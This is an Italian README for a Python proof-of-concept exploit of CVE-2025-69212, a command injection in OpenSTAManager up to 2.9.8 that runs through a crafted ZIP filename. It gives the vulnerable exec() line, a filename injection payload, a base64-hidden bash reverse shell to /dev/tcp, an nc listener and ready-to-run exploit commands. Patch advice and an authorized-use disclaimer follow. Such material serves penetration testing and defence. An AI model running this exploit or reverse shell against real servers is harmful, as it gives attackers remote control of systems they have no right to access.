
PoC Python, exploit per CVE-2025-69212
Exploit proof-of-concept per CVE-2025-69212, una vulnerabilità di iniezione di comandi del sistema operativo in OpenSTAManager <= 2.9.8 che consente a un utente autenticato di eseguire codice in remoto tramite il caricamento di un file ZIP appositamente modificato.
La vulnerabilità si trova in src/Util/XML.php alla riga ~100, dove l'applicazione passa un nome file controllato dall'utente direttamente in una chiamata shell exec() senza sanitizzazione:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
Quando un archivio ZIP viene caricato tramite il plugin importFE_ZIP (/actions.php), l'applicazione estrae il ZIP e passa il nome file di ogni voce .p7m a exec(). Un attaccante può creare un ZIP con un nome file malevolo che esce dall'argomento tra virgolette e inietta comandi shell arbitrari.
Payload di iniezione (nome file):
invoice.p7m";<COMMAND>;echo ".p7m
Esecuzione shell risultante:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ iniettato qui
Nota: La barra
/non può apparire direttamente nel nome file perchéZipArchive::extractTo()la tratta come separatore di percorso. Il PoC evita questo problema codificando in base64 il payload della reverse shell.
requestsnc)Installa le dipendenze:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# Avvia listener
nc -lvnp 4444
# Esegui exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Instradamento tramite Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m il cui nome file include il comando iniettatobash -i >& /dev/tcp/LHOST/LPORT 0>&1) viene codificata in base64 per evitare le barre nel nome file/actions.php attraverso il plugin importFE_ZIPexec(), attivando la reverse shellAggiornare a OpenSTAManager 2.9.9 o successivo, che sanifica i nomi file prima di passarli ai comandi shell.
Se non è possibile applicare immediatamente la patch, disabilitare il plugin importFE_ZIP o limitare l'accesso a /actions.php ai soli utenti fidati.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta per i test. L'uso non autorizzato su sistemi che non possiedi è illegale e non etico. L'autore non è responsabile per eventuali usi impropri o danni causati da questo strumento.
| Argomento | Obbligatorio | Descrizione |
|---|
-u, --url | Sì | URL di base del target (es. http://target.htb) |
-U, --username | Sì | Nome utente OpenSTAManager |
-P, --password | Sì | Password OpenSTAManager |
--lhost | Sì | Il tuo indirizzo IP per la reverse shell |
--lport | Sì | La tua porta in ascolto per la reverse shell |
--proxy | No | Proxy HTTP (es. http://127.0.0.1:8080) |